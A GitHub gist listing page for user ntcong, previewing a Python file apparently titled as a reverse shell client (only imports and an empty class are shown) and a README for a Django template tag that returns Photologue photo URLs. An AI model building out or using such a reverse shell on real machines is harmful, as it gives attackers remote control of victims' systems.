Skip to content

Instantly share code, notes, and snippets.

View ntcong's full-sized avatar

Cong Nguyen ntcong

View GitHub Profile
@ntcong
ntcong / evshell_client.py
Created July 26, 2017 12:57
evshell_client.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# revshell_client.py
# http://null-byte.wonderhowto.com/how-to/reverse-shell-using-python-0163875/
import socket, os, subprocess, sys, re
class ReverseShellClient:
s = None
@ntcong
ntcong / README
Created May 14, 2011 10:12 — forked from nicpottier/README
Simple Django template tag to get the image URL for a photologue photo by slug.
This gist is just a simple Django template tag that will output the display
URL for a photologue photo looked up by slug. This satisfies my need for using
Photologue simple as an admin interface to managing photos that I'm including
in flatpages.
Usage
=====
Just put photos.py in your templatetags directory. Make sure photologue
is installed, then create a new photo object.